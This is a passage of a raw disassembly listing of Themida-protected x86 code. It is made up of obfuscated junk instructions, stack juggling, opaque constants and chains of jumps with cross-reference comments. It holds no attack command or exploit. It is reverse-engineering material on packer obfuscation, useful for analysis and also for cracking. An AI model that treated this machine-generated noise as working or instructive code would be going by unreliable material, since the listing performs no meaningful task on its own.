loc_55261E: ; CODE XREF: Themida_:00560BDCj
push 17A9h
mov [esp], edi
mov edi, 10275761h
push edi
not dword ptr [esp]
pop edi
sub edi, 0FFFFFFFFh
jmp loc_551CC6
; ---------------------------------------------------------------------------
loc_55263B: ; CODE XREF: Themida_:00564BDCj
mov ebx, eax
pop eax
jmp loc_55FE69
; ---------------------------------------------------------------------------
loc_552643: ; CODE XREF: Themida_:005558F9j
mov [esp], eax
push 2011h
mov [esp], esp
sub esp, 4
jmp loc_55FC95
; ---------------------------------------------------------------------------
loc_552659: ; CODE XREF: Themida_:00552519j
add edi, 0CF8078FAh
add eax, edi
pop edi
push eax
jmp loc_55289E
; ---------------------------------------------------------------------------
loc_552668: ; CODE XREF: Themida_:005504B9j
add ecx, edi
pop edi
xchg ecx, [esp]
pop esp
loc_55266F: ; CODE XREF: Themida_:loc_561A1Ej
push ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_560762
; ---------------------------------------------------------------------------
loc_55267B: ; CODE XREF: Themida_:00564A7Cj
mov [esp], ebx
push ebp
mov ebp, 396107AFh
mov ebx, 72CB72FBh
sub ebx, ebp
pop ebp
or edi, ebx
pop ebx
not edi
xor edi, 0B130EFE1h
sub edx, edi
mov edi, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
jmp loc_55F228
; ---------------------------------------------------------------------------
loc_5526A9: ; CODE XREF: Themida_:005543D1j
sub edi, 4
jmp loc_559584
; ---------------------------------------------------------------------------
loc_5526B1: ; CODE XREF: Themida_:00551705j
add ebp, edi
sub ebp, 746575E4h
pop edi
jmp loc_556A79
; ---------------------------------------------------------------------------
loc_5526BF: ; CODE XREF: Themida_:0055E24Fj
add ecx, 543570B9h
sub ecx, ebp
sub ecx, 543570B9h
jmp loc_56184F
; ---------------------------------------------------------------------------
loc_5526D2: ; CODE XREF: Themida_:00562A46j
mov dh, 22h
add dh, 72h
jmp loc_5658F6
; ---------------------------------------------------------------------------
loc_5526DC: ; CODE XREF: Themida_:005547CAj
push 656A65CFh
jmp loc_55617F
; ---------------------------------------------------------------------------
loc_5526E6: ; CODE XREF: Themida_:0055A89Fj
push ebp
jmp loc_55A3C3
; ---------------------------------------------------------------------------
loc_5526EC: ; CODE XREF: Themida_:00550B46j
push ebp
jmp loc_563B2F
; ---------------------------------------------------------------------------
loc_5526F2: ; CODE XREF: Themida_:005507B3j
pop esi
pop esi
dec edi
push edi
not dword ptr [esp]
mov edi, [esp]
add esp, 4
not edi
push eax
mov eax, 49DF4595h
add eax, 2894FEDDh
and edi, eax
pop eax
push ecx
jmp loc_553613
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_555185
; ---------------------------------------------------------------------------
loc_55271E: ; CODE XREF: Themida_:0055B001j
mov esi, esp
jmp loc_560C50
; ---------------------------------------------------------------------------
loc_552725: ; CODE XREF: Themida_:0055BE1Fj
mov ecx, 4
push ecx
mov ecx, 587A7299h
shr ecx, 5
sub ecx, 2DE257Ah
dec ecx
sub ecx, 905C436Dh
add edi, ecx
pop ecx
add edi, 219A0D89h
add edi, ecx
push ecx
mov ecx, 4AE23760h
shr ecx, 8
add ecx, 214F2B52h
sub edi, ecx
pop ecx
push eax
push edx
mov edx, 138A77C1h
push ebp
jmp loc_55FD00
; ---------------------------------------------------------------------------
word_55276A dw 2489h ; CODE XREF: Themida_:0055564Bj
; ---------------------------------------------------------------------------
and al, 53h
mov ebx, 4
add [esp+4], ebx
pop ebx
pop edi
sub esp, 4
mov [esp], edx
jmp loc_562621
; ---------------------------------------------------------------------------
mov ax, [esp]
push 1434h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 2513h
mov [esp], eax
push ebx
mov ebx, 4
mov eax, ebx
pop ebx
sub ebx, eax
mov eax, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_564E98
; ---------------------------------------------------------------------------
loc_5527C3: ; CODE XREF: Themida_:0055C28Fj
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 7470h
mov [esp], ebx
mov ebx, 4DFD525Ch
push edx
push edi
push 36270C36h
pop edi
sub edi, 513841D2h
push esi
mov esi, 7C044F04h
xor esi, 57874E49h
jmp loc_55D202
; ---------------------------------------------------------------------------
loc_552803: ; CODE XREF: Themida_:00558FDEj
add esp, 4
add eax, 4
xchg eax, [esp]
jmp loc_55EB80
; ---------------------------------------------------------------------------
loc_552816: ; CODE XREF: Themida_:0055C03Dj
push 7443h
mov [esp], eax
jmp loc_551ED9
; ---------------------------------------------------------------------------
loc_552823: ; CODE XREF: Themida_:00559DA0j
mov esp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55282B: ; CODE XREF: Themida_:00556EB6j
push ebp
push 2
mov ebp, [esp]
add esp, 4
jmp loc_565B11
; ---------------------------------------------------------------------------
loc_55283C: ; CODE XREF: Themida_:00563D95j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor esi, [esp]
jmp loc_55A305
; ---------------------------------------------------------------------------
loc_552851: ; CODE XREF: Themida_:00564193j
sub dword ptr [esp+4], 39035DBEh
jmp loc_55D706
; ---------------------------------------------------------------------------
loc_55285E: ; CODE XREF: Themida_:0055966Cj
shl eax, 8
push ebx
push eax
mov eax, 25FB42C6h
jmp loc_564BD6
; ---------------------------------------------------------------------------
loc_55286D: ; CODE XREF: Themida_:00554D6Fj
sub al, 8Ch
add al, bh
add al, 8Ch
sub al, 73h
pop ebx
jmp loc_5580AB
; ---------------------------------------------------------------------------
loc_55287B: ; CODE XREF: Themida_:00556E48j
mov edi, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5622C6
; ---------------------------------------------------------------------------
loc_55288C: ; CODE XREF: Themida_:00558F67j
add [esp+4], edi
mov edi, [esp]
add esp, 4
sub [esp], eax
jmp loc_55956B
; ---------------------------------------------------------------------------
loc_55289E: ; CODE XREF: Themida_:00552663j
push dword ptr [esp+4]
jmp loc_55A19C
; ---------------------------------------------------------------------------
loc_5528A7: ; CODE XREF: Themida_:00554F12j
neg dh
inc dh
neg dh
add dh, 0D6h
sub bh, dh
jmp loc_554B6A
; ---------------------------------------------------------------------------
loc_5528B7: ; CODE XREF: Themida_:0055539Fj
xchg esi, [esp]
jmp loc_55BE88
; ---------------------------------------------------------------------------
loc_5528BF: ; CODE XREF: Themida_:0055176Cj
mov esi, [esp]
jmp loc_558E42
; ---------------------------------------------------------------------------
loc_5528C7: ; CODE XREF: Themida_:0055AC88j
xchg eax, [esp]
jmp loc_56182D
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2BDDh
mov [esp], edi
jmp loc_554A3B
; ---------------------------------------------------------------------------
push ecx
jmp loc_5506F3
; ---------------------------------------------------------------------------
loc_5528E6: ; CODE XREF: Themida_:005594CCj
mov [esp], eax
mov eax, 5EAA3069h
inc eax
add eax, 0FFFFFFFFh
push ecx
mov ecx, 5EAA306Dh
xor eax, ecx
pop ecx
add ebp, eax
jmp loc_55BF81
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 4913h
mov [esp], esi
push 8D1h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_560706
; ---------------------------------------------------------------------------
loc_552920: ; CODE XREF: Themida_:0056249Dj
add ecx, 19473160h
jmp loc_5507F2
; ---------------------------------------------------------------------------
loc_55292B: ; CODE XREF: Themida_:00554766j
pop esi
push 16ECh
mov [esp], eax
push edi
push 795F0565h
pop edi
xor edi, 7C9364D8h
mov eax, edi
pop edi
inc eax
sub eax, 0E38F5899h
sub edx, eax
pop eax
sub edx, 1AF05CEAh
sub esi, 506154ABh
sub esi, 10826C87h
add esi, edx
add esi, 10826C87h
jmp loc_561A2C
; ---------------------------------------------------------------------------
loc_55296C: ; CODE XREF: Themida_:00554C78j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_563F9E
; ---------------------------------------------------------------------------
loc_552978: ; CODE XREF: Themida_:00563E1Dj
push ebx
mov ebx, esp
push esi
mov esi, 95D5234h
neg esi
push edi
mov edi, 27BA6316h
add esi, edi
pop edi
push edi
mov edi, 580317D1h
and edi, 63627DFAh
push eax
jmp loc_550743
; ---------------------------------------------------------------------------
loc_55299E: ; CODE XREF: Themida_:00555C7Bj
mov eax, 0ADE77F7h
xor eax, 23E25A74h
inc eax
jmp loc_55ED83
; ---------------------------------------------------------------------------
loc_5529AE: ; CODE XREF: Themida_:0055DE53j
mov edx, [esp]
add esp, 4
add al, 32h
sub al, bl
sub al, 32h
push 7281h
mov [esp], edx
push ebx
push edx
mov dh, 8Eh
mov bh, 88h
sub bh, dh
pop edx
mov dl, bh
pop ebx
neg dl
sub esp, 4
jmp loc_55104C
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
sub esp, 4
jmp loc_563666
; ---------------------------------------------------------------------------
loc_5529F0: ; CODE XREF: Themida_:00562C34j
xchg ebx, edx
jmp loc_55BAB0
; ---------------------------------------------------------------------------
loc_5529F7: ; CODE XREF: Themida_:0055DFE3j
pop edi
add ecx, ebp
jmp loc_561EF6
; ---------------------------------------------------------------------------
loc_5529FF: ; CODE XREF: Themida_:00552E3Cj
push ebp
push 86653F8h
pop ebp
shr ebp, 4
push esi
mov esi, 86653Bh
sub ebp, esi
pop esi
add esi, 559C582Eh
add esi, ebp
sub esi, 559C582Eh
mov ebp, [esp]
jmp loc_559285
; ---------------------------------------------------------------------------
loc_552A28: ; CODE XREF: Themida_:005552DFj
pop dx
push ebx
mov bl, 40h
push dx
mov dl, 0EBh
jmp loc_558FE3
; ---------------------------------------------------------------------------
loc_552A36: ; CODE XREF: Themida_:00554D9Cj
pop edx
push ecx
jmp loc_554F8F
; ---------------------------------------------------------------------------
loc_552A3D: ; CODE XREF: Themida_:0055D622j
add edi, 338B1AAAh
jmp loc_553519
; ---------------------------------------------------------------------------
loc_552A48: ; CODE XREF: Themida_:00553AE9j
mov edx, 1D17744Eh
add ecx, edx
pop edx
jmp loc_5550E9
; ---------------------------------------------------------------------------
loc_552A55: ; CODE XREF: Themida_:00552EEFj
pop dword ptr [esp]
not ebx
jmp loc_554CD5
; ---------------------------------------------------------------------------
loc_552A5F: ; CODE XREF: Themida_:005642D7j
mov bh, 85h
and dl, bh
pop ebx
add dl, 0FFh
inc dl
sub dl, 0A9h
sub al, dl
jmp loc_5630C3
; ---------------------------------------------------------------------------
loc_552A73: ; CODE XREF: Themida_:00558862j
shr edi, 4
sub edi, 23D34AFh
mov ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_555BB4
; ---------------------------------------------------------------------------
loc_552A89: ; CODE XREF: Themida_:005651FFj
push ecx
mov ecx, 49B4685Dh
sub esp, 4
mov [esp], eax
mov eax, 2534383Dh
add dword ptr [esp+8], 26A43B2Fh
jmp loc_555AD8
; ---------------------------------------------------------------------------
loc_552AA7: ; CODE XREF: Themida_:0055DC87j
pop ecx
sub al, 6Eh
jmp loc_55D405
; ---------------------------------------------------------------------------
loc_552AAF: ; CODE XREF: Themida_:00565981j
pop esi
xchg ebp, [esp]
mov esp, [esp]
imul cl
jmp loc_55CAFB
; ---------------------------------------------------------------------------
loc_552ABD: ; CODE XREF: Themida_:005624E9j
push dword ptr [esp]
pop ebp
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_55FC9E
; ---------------------------------------------------------------------------
loc_552AD8: ; CODE XREF: Themida_:00559795j
pop ebx
mov ch, al
mov eax, [esp]
jmp loc_5514EC
; ---------------------------------------------------------------------------
loc_552AE3: ; CODE XREF: Themida_:0055F83Bj
dec eax
jmp loc_55CA39
; ---------------------------------------------------------------------------
loc_552AE9: ; CODE XREF: Themida_:0055DC52j
mov edi, 598C54DAh
sub edi, ebx
pop ebx
add esi, edi
jmp loc_5539F9
; ---------------------------------------------------------------------------
loc_552AF8: ; CODE XREF: Themida_:0055ED8Cj
pop ecx
add edi, eax
pop eax
jmp loc_5564C5
; ---------------------------------------------------------------------------
loc_552B01: ; CODE XREF: Themida_:00553DFBj
pop eax
add ecx, edx
mov [ecx], ebp
mov ecx, [esp]
add esp, 4
pop ebp
sub [edx+38h], ebx
pop ebx
loc_552B14: ; CODE XREF: Themida_:00553446j
push 59EFh
mov [esp], esi
jmp loc_55C5A1
; ---------------------------------------------------------------------------
loc_552B21: ; CODE XREF: Themida_:00557B0Fj
push 320Ch
mov [esp], esi
jmp loc_55F3B1
; ---------------------------------------------------------------------------
loc_552B2E: ; CODE XREF: Themida_:0055C437j
mov [edi+20h], esi
jmp loc_5601D8
; ---------------------------------------------------------------------------
loc_552B36: ; CODE XREF: Themida_:00563620j
add ebx, 4
sub ebx, 4
jmp loc_550619
; ---------------------------------------------------------------------------
loc_552B44: ; CODE XREF: Themida_:005571CDj
pop ebx
push esi
push 6131h
jmp loc_55A74E
; ---------------------------------------------------------------------------
loc_552B50: ; CODE XREF: Themida_:00554E56j
add ecx, edi
pop edi
push esi
mov esi, 4
sub ecx, 46D856C2h
jmp loc_55E792
; ---------------------------------------------------------------------------
loc_552B64: ; CODE XREF: Themida_:0055F860j
add edi, eax
pop eax
add esi, 324D7944h
add esi, edi
jmp loc_55519A
; ---------------------------------------------------------------------------
loc_552B74: ; CODE XREF: Themida_:005568E7j
push 2BC6h
jmp loc_55AD96
; ---------------------------------------------------------------------------
loc_552B7E: ; CODE XREF: Themida_:00561E05j
add esp, 4
jmp loc_565B4F
; ---------------------------------------------------------------------------
loc_552B89: ; CODE XREF: Themida_:00551E04j
push ebx
jmp loc_55C94D
; ---------------------------------------------------------------------------
loc_552B8F: ; CODE XREF: Themida_:0055E3CDj
add ecx, 0C6540026h
sub esi, 77E23ABDh
sub esi, ecx
add esi, 77E23ABDh
jmp loc_56523C
; ---------------------------------------------------------------------------
loc_552BA8: ; CODE XREF: Themida_:00551339j
xor edx, ecx
pop ecx
sub edi, 248A3DACh
push esi
jmp loc_558D7A
; ---------------------------------------------------------------------------
loc_552BB7: ; CODE XREF: Themida_:005571F2j
pop edx
mov dl, al
pop eax
jmp loc_55BB7F
; ---------------------------------------------------------------------------
loc_552BC0: ; CODE XREF: Themida_:00556F25j
push ecx
mov ecx, 4E316E6h
and ecx, 607F108Eh
jmp loc_55C95D
; ---------------------------------------------------------------------------
loc_552BD1: ; CODE XREF: Themida_:00558B9Ej
mov ebx, [esp]
add esp, 4
jmp loc_556129
; ---------------------------------------------------------------------------
loc_552BDC: ; CODE XREF: Themida_:00551B2Cj
add esp, 4
add esi, eax
push dword ptr [esp]
pop eax
jmp loc_559968
; ---------------------------------------------------------------------------
loc_552BEA: ; CODE XREF: Themida_:00562A38j
mov ecx, 600F5C72h
jmp loc_5524D0
; ---------------------------------------------------------------------------
loc_552BF4: ; CODE XREF: Themida_:00564FCEj
mov ecx, 4
jmp loc_5645A6
; ---------------------------------------------------------------------------
loc_552BFE: ; CODE XREF: Themida_:00564E16j
sub dh, 0E5h
jmp loc_550DF6
; ---------------------------------------------------------------------------
lodsd
jmp loc_559408
; ---------------------------------------------------------------------------
loc_552C0C: ; CODE XREF: Themida_:00553BE2j
shr ebp, 5
jmp loc_561959
; ---------------------------------------------------------------------------
loc_552C14: ; CODE XREF: Themida_:00550D65j
mov ecx, [esp]
jmp loc_55EB4C
; ---------------------------------------------------------------------------
loc_552C1C: ; CODE XREF: Themida_:00553A7Aj
xchg ecx, ebp
add ebp, 79756F6Ch
xor ebp, edi
xor edi, ebp
xor ebp, edi
not edi
xor ebp, edi
xor edi, ebp
xor ebp, edi
sub esp, 4
mov [esp], ebx
mov ebx, 169705F0h
add ebp, ebx
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebx, [esp]
add esp, 4
pop ebp
and eax, ebx
jmp loc_560256
; ---------------------------------------------------------------------------
loc_552C5C: ; CODE XREF: Themida_:00552CEBj
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_557079
; ---------------------------------------------------------------------------
loc_552C6A: ; CODE XREF: Themida_:005563B9j
mov esi, 74E76EB3h
neg esi
jmp loc_5517A0
; ---------------------------------------------------------------------------
loc_552C76: ; CODE XREF: Themida_:0055C5BDj
add edx, 33F71A71h
pop esi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_562116
; ---------------------------------------------------------------------------
loc_552C8B: ; CODE XREF: Themida_:0056084Fj
and eax, 73783B49h
shr eax, 8
neg eax
sub eax, 0D2FD1F09h
sub esp, 4
mov [esp], edx
jmp loc_5635C5
; ---------------------------------------------------------------------------
loc_552CA8: ; CODE XREF: Themida_:00562707j
mov edi, [esp]
add esp, 4
jmp loc_55EA71
; ---------------------------------------------------------------------------
loc_552CB3: ; CODE XREF: Themida_:0056386Bj
sub esi, 59E52743h
push esi
jmp loc_5546F4
; ---------------------------------------------------------------------------
loc_552CBF: ; CODE XREF: Themida_:00556464j
mov [esp], bx
push eax
jmp loc_560441
; ---------------------------------------------------------------------------
loc_552CC9: ; CODE XREF: Themida_:0055D17Aj
push edx
sub esp, 4
mov [esp], ebx
mov bh, cl
mov dl, bh
pop ebx
mov bh, dl
pop edx
push edx
mov dh, bh
jmp loc_55168A
; ---------------------------------------------------------------------------
loc_552CE3: ; CODE XREF: Themida_:0055571Bj
mov ecx, esp
add ecx, 4
jmp loc_552C5C
; ---------------------------------------------------------------------------
loc_552CF0: ; CODE XREF: Themida_:00558A59j
mov edx, 76E16360h
push ebp
jmp loc_563E8F
; ---------------------------------------------------------------------------
loc_552CFB: ; CODE XREF: Themida_:00564FBDj
pop edi
pop dword ptr [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], ebx
jmp loc_55A7A6
; ---------------------------------------------------------------------------
loc_552D11: ; CODE XREF: Themida_:005609EBj
xor bx, ax
movzx eax, ax
push small 5FFFh
mov [esp], ax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_552D24: ; CODE XREF: Themida_:0055F279j
xor eax, esi
mov esi, [esp]
push ebp
jmp loc_558083
; ---------------------------------------------------------------------------
loc_552D2F: ; CODE XREF: Themida_:00558292j
add esp, 4
or eax, 63633E0Ch
sub esp, 4
mov [esp], edx
jmp loc_563BF3
; ---------------------------------------------------------------------------
loc_552D42: ; CODE XREF: Themida_:00554FB9j
sub ebx, 476B7169h
add ebx, esi
add ebx, 476B7169h
jmp loc_5514BF
; ---------------------------------------------------------------------------
loc_552D55: ; CODE XREF: Themida_:00560CF3j
add edi, esi
pop esi
push esi
push ebp
mov ebp, 0AD651B2h
or ebp, 1FC45E28h
and ebp, 27956F6Ah
add ebp, 3B8E14A1h
jmp loc_55AC06
; ---------------------------------------------------------------------------
loc_552D76: ; CODE XREF: Themida_:00561267j
xor eax, edx
pop edx
mov ebp, eax
pop eax
add esi, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push edx
mov edx, 6FFD5B91h
jmp loc_5532DD
; ---------------------------------------------------------------------------
loc_552D93: ; CODE XREF: Themida_:005553C1j
push esi
push 3A872B56h
jmp loc_559656
; ---------------------------------------------------------------------------
loc_552D9E: ; CODE XREF: Themida_:00565416j
push ecx
push ebp
mov ebp, 4
mov ecx, ebp
pop ebp
sub eax, 6EA02EEh
add eax, ecx
sub esp, 4
jmp loc_56584D
; ---------------------------------------------------------------------------
loc_552DB7: ; CODE XREF: Themida_:00550EA2j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_552DBC: ; CODE XREF: Themida_:00559E1Fj
sub esi, ebp
add esi, 56625B3h
sub esi, 0F7A343Bh
pop ebp
mov edx, [esp]
push esi
mov esi, esp
jmp loc_55093D
; ---------------------------------------------------------------------------
loc_552DD6: ; CODE XREF: Themida_:00563D39j
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
loc_552DE1: ; CODE XREF: Themida_:0055F41Ej
add esp, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_55AEF2
; ---------------------------------------------------------------------------
loc_552DFD: ; CODE XREF: Themida_:005560F3j
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp loc_55A0A3
; ---------------------------------------------------------------------------
loc_552E0D: ; CODE XREF: Themida_:0055C8C2j
mov [esp], ecx
mov ecx, 4BEA415Bh
add ecx, 8880E80h
push 0
sub [esp], ecx
jmp loc_559E7D
; ---------------------------------------------------------------------------
loc_552E28: ; CODE XREF: Themida_:0055F6C0j
mov [esp], ebx
mov ebx, 68D2324Ah
push ebx
pop ecx
jmp loc_557FC9
; ---------------------------------------------------------------------------
loc_552E37: ; CODE XREF: Themida_:00560BB1j
add dword ptr [esp], 4
pop esi
jmp loc_5529FF
; ---------------------------------------------------------------------------
loc_552E41: ; CODE XREF: Themida_:00563063j
pop ebx
push small 32CCh
mov [esp], dx
jmp loc_55772D
; ---------------------------------------------------------------------------
loc_552E4F: ; CODE XREF: Themida_:0055A4C7j
mov ebp, [esp]
add esp, 4
push edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
jmp loc_564893
; ---------------------------------------------------------------------------
loc_552E69: ; CODE XREF: Themida_:005603D4j
or cl, 68h
add cl, 84h
add al, cl
jmp loc_55C3AD
; ---------------------------------------------------------------------------
loc_552E76: ; CODE XREF: Themida_:00559041j
add eax, ecx
pop ecx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
jmp loc_55C1E1
; ---------------------------------------------------------------------------
loc_552E95: ; CODE XREF: Themida_:0055A175j
sub edi, 4
xchg edi, [esp]
jmp loc_5583FB
; ---------------------------------------------------------------------------
loc_552EA0: ; CODE XREF: Themida_:00561872j
mov al, 0C7h
jmp loc_557833
; ---------------------------------------------------------------------------
loc_552EA7: ; CODE XREF: Themida_:0055A5EAj
mov ecx, 353D39DEh
xor ecx, 5B3F5D0Dh
jmp loc_561015
; ---------------------------------------------------------------------------
loc_552EB7: ; CODE XREF: Themida_:0055C665j
add esi, 4
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_558481
; ---------------------------------------------------------------------------
loc_552ECA: ; CODE XREF: Themida_:0055ACD0j
xchg edi, [esp]
jmp loc_558AAF
; ---------------------------------------------------------------------------
loc_552ED2: ; CODE XREF: Themida_:00564B62j
shl edx, 1
sub edx, 21694FE0h
jmp loc_5602C6
; ---------------------------------------------------------------------------
loc_552EDF: ; CODE XREF: Themida_:0055AEDDj
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
jmp loc_552A55
; ---------------------------------------------------------------------------
loc_552EF4: ; CODE XREF: Themida_:00552154j
mov ecx, 77D57B7Ch
add eax, ecx
mov ecx, [esp]
add esp, 4
push 79F3h
mov [esp], edi
jmp loc_55D795
; ---------------------------------------------------------------------------
loc_552F11: ; CODE XREF: Themida_:0055BAC6j
add ebx, ebp
jmp loc_5634AE
; ---------------------------------------------------------------------------
loc_552F18: ; CODE XREF: Themida_:0055C17Ej
add esp, 4
push edi
mov edi, 3B365283h
sub ecx, 6C82041Dh
add ecx, edi
sub esp, 4
mov [esp], eax
mov eax, 6C82041Dh
add ecx, eax
pop eax
pop edi
push edi
mov edi, esp
jmp loc_55C83B
; ---------------------------------------------------------------------------
loc_552F43: ; CODE XREF: Themida_:00556133j
sub edx, 5BA439C0h
push edi
mov edi, 5BF4786Eh
sub esp, 4
mov [esp], eax
jmp loc_55AEFD
; ---------------------------------------------------------------------------
loc_552F5D: ; CODE XREF: Themida_:00559E33j
mov dh, 7Ch
push eax
mov al, 0E8h
sub al, 85h
jmp loc_55A7F7
; ---------------------------------------------------------------------------
loc_552F69: ; CODE XREF: Themida_:00558262j
xor eax, [esp]
mov esp, [esp]
mov edx, [esp]
push 5E6Eh
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
add esp, 4
add edx, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
jmp loc_55251E
; ---------------------------------------------------------------------------
loc_552F9E: ; CODE XREF: Themida_:00565894j
sub ebx, 126B0B51h
add ebx, ebp
sub esp, 4
jmp loc_55C744
; ---------------------------------------------------------------------------
loc_552FB1: ; CODE XREF: Themida_:005657A3j
push eax
jmp loc_556BBB
; ---------------------------------------------------------------------------
loc_552FB7: ; CODE XREF: Themida_:0055D28Bj
shr edi, 6
push ebp
mov ebp, 5FB765B6h
add edi, 40A73257h
add edi, ebp
sub edi, 40A73257h
pop ebp
neg edi
push 0
push edi
mov edi, 659963FDh
add [esp+4], edi
jmp loc_5540AA
; ---------------------------------------------------------------------------
loc_552FE5: ; CODE XREF: Themida_:0055EDE9j
push 2D2Eh
mov [esp], edx
xchg eax, [esp]
push eax
not dword ptr [esp]
pop eax
xchg eax, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
add esp, 4
push 416Eh
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp loc_550827
; ---------------------------------------------------------------------------
mov eax, [esp]
push 6FF7h
mov [esp], ecx
push esp
jmp loc_55E0FE
; ---------------------------------------------------------------------------
loc_55302B: ; CODE XREF: Themida_:00556902j
mov [esp], eax
push 7A93h
mov [esp], ecx
jmp loc_56253B
; ---------------------------------------------------------------------------
loc_55303B: ; CODE XREF: Themida_:0055F29Dj
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, 213632ADh
inc ecx
or ecx, 2C8A47DEh
and ecx, 7E593DF1h
shl ecx, 5
or ecx, 4A0A43EAh
push edx
mov edx, 2E88048Dh
not edx
neg edx
xor edx, 30223755h
and edx, 2DD0471Eh
jmp loc_5511BB
; ---------------------------------------------------------------------------
loc_553078: ; CODE XREF: Themida_:0055D7C6j
add esp, 4
jmp loc_55E77D
; ---------------------------------------------------------------------------
loc_553083: ; CODE XREF: Themida_:00551585j
add esp, 4
and ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
jmp loc_55E1D0
; ---------------------------------------------------------------------------
loc_55309A: ; CODE XREF: Themida_:00556DC7j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55309F: ; CODE XREF: Themida_:005543EAj
pop ecx
push ebx
jmp loc_5622B3
; ---------------------------------------------------------------------------
loc_5530A6: ; CODE XREF: Themida_:0055E516j
mov [esp], dx
jmp loc_564871
; ---------------------------------------------------------------------------
loc_5530AF: ; CODE XREF: Themida_:00555294j
shr esi, 6
xor esi, 422A1E2Ch
add ebx, esi
pop esi
add ebx, eax
jmp loc_555E87
; ---------------------------------------------------------------------------
loc_5530C2: ; CODE XREF: Themida_:00565A28j
pop ebx
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
loc_5530CF: ; CODE XREF: Themida_:0055D147j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebx
sub dword ptr [esp], 892439h
pop eax
push esi
mov esi, esp
add esi, 4
jmp loc_55D673
; ---------------------------------------------------------------------------
loc_5530FE: ; CODE XREF: Themida_:0055A1A2j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_561223
; ---------------------------------------------------------------------------
loc_553117: ; CODE XREF: Themida_:0055E9D0j
push eax
jmp loc_564C6D
; ---------------------------------------------------------------------------
loc_55311D: ; CODE XREF: Themida_:00557561j
add ebx, 2E977E3Bh
add ebx, eax
sub ebx, 2E977E3Bh
pop eax
sub ebx, 0D371B17h
pop eax
jmp loc_55762A
; ---------------------------------------------------------------------------
loc_553138: ; CODE XREF: Themida_:005573B0j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_560632
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5548AD
; ---------------------------------------------------------------------------
loc_553151: ; CODE XREF: Themida_:00562416j
add eax, edi
pop edi
push eax
xor dword ptr [esp], 1A427B0Ch
pop edi
xor edi, 1A427B0Ch
pop eax
push ebx
jmp loc_55B981
; ---------------------------------------------------------------------------
loc_55316A: ; CODE XREF: Themida_:0056027Fj
push dword ptr [esp]
pop ecx
jmp loc_55C71F
; ---------------------------------------------------------------------------
loc_553173: ; CODE XREF: Themida_:0055BD29j
mov ebp, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
xor [esp+4], edi
jmp loc_562A62
; ---------------------------------------------------------------------------
loc_55318E: ; CODE XREF: Themida_:0055D334j
sub esp, 4
jmp loc_551A4A
; ---------------------------------------------------------------------------
loc_553196: ; CODE XREF: Themida_:00556BEBj
push 23CBh
jmp loc_564AD7
; ---------------------------------------------------------------------------
loc_5531A0: ; CODE XREF: Themida_:005603AFj
not dword ptr [esp]
jmp loc_55796A
; ---------------------------------------------------------------------------
loc_5531A8: ; CODE XREF: Themida_:0055228Cj
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_555F71
; ---------------------------------------------------------------------------
loc_5531C1: ; CODE XREF: Themida_:0056139Ej
mov [esp], esi
jmp loc_556469
; ---------------------------------------------------------------------------
loc_5531C9: ; CODE XREF: Themida_:0055E527j
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 4
jmp loc_559898
; ---------------------------------------------------------------------------
loc_5531DC: ; CODE XREF: Themida_:005641B5j
mov ecx, esp
add ecx, 4
jmp loc_550AEC
; ---------------------------------------------------------------------------
loc_5531E9: ; CODE XREF: Themida_:0055C594j
push 2538h
push 7ABAh
jmp loc_556D91
; ---------------------------------------------------------------------------
loc_5531F8: ; CODE XREF: Themida_:0055AF57j
mov edx, 1A160AC0h
add edx, edi
pop edi
jmp loc_55FE07
; ---------------------------------------------------------------------------
